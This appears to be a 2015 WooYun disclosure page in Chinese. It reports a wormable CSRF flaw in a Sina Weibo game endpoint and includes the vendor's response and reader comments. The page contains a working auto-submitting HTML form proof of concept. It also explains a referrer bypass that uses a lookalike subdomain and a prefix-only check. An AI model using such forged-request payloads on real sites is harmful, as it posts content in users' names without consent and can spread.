当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0164067

漏洞标题：新浪微博CSRF之点我链接发微博（可蠕虫）

相关厂商：新浪微博

漏洞作者： zhchbin

提交时间：2015-12-24 09:48

修复时间：2016-02-06 10:45

公开时间：2016-02-06 10:45

漏洞类型：CSRF

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-12-24： 细节已通知厂商并且等待厂商处理中
2015-12-24： 厂商已经确认，细节仅向厂商公开
2016-01-03： 细节向核心白帽子及相关领域专家公开
2016-01-13： 细节向普通白帽子公开
2016-01-23： 细节向实习白帽子公开
2016-02-06： 细节向公众公开

简要描述：

求个高分！求个礼物！还是绕过referrer的问题。

详细说明：

接口：

http://game.weibo.com/avatar/interface/shareAvatar


有检查referrer，但是可以用app.wcdn.cn.*.*类似的域名绕过。
测试代码：

<form action="http://game.weibo.com/avatar/interface/shareAvatar" method="post"> 
<input type="text" name="content" value="Hi, testing http://app.wcdn.cn.zhchbin.xyz/" /> 
<input type="text" name="image" value="" /> 
<script> document.forms[0].submit(); </script> 
</form>

漏洞证明：

浏览器登录微博后，点开这个链接：

http://app.wcdn.cn.zhchbin.xyz/


然后就可以看到：

20151223235145.png


20151223235132.png

修复方案：

修复referrer的验证

版权声明：转载请注明来源 zhchbin@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：5

确认时间：2015-12-24 10:57

厂商回复：

感谢支持，已经联系相关业务修复

最新状态：

暂无

漏洞评价：

评价

  1. 2015-12-24 10:06 | Yuku ( 路人 | Rank:21 漏洞数:19 | 酱油哥)

    这么6.怎么绕的。xxx.weibo.com.xx.com？

  2. 2015-12-24 11:04 | zhchbin ( 普通白帽子 | Rank:104 漏洞数:24 | 要走得再远一些！|但行好事，不问前程)

    @Yuku bingo@新浪微博 难道是所有有危害的CSRF问题都是5分？哎。。这5分给的。。。

  3. 2015-12-24 11:06 | Yuku ( 路人 | Rank:21 漏洞数:19 | 酱油哥)

    应急挺迅速~

  4. 2015-12-24 12:26 | 路人毛 ( 实习白帽子 | Rank:64 漏洞数:25 | ../)

    挺6啊

  5. 2016-01-13 22:55 | Ysql404 ( 普通白帽子 | Rank:329 漏洞数:66 | 碧海情天)

    为什么能通过app.wcdn.cn.*.*类似的域名绕过，能解释下吗

  6. 2016-01-13 23:15 | zhchbin ( 普通白帽子 | Rank:104 漏洞数:24 | 要走得再远一些！|但行好事，不问前程)

    Ysql404 就是他们检查referer的代码逻辑写错了。比如只检查了referer是不是以字符串"http://app.wcdn.cn"开头，这样子就可以绕过了，因为可以在自己的域名下加多个子域名，这样子referer就符合他们的检查，然后就绕过了。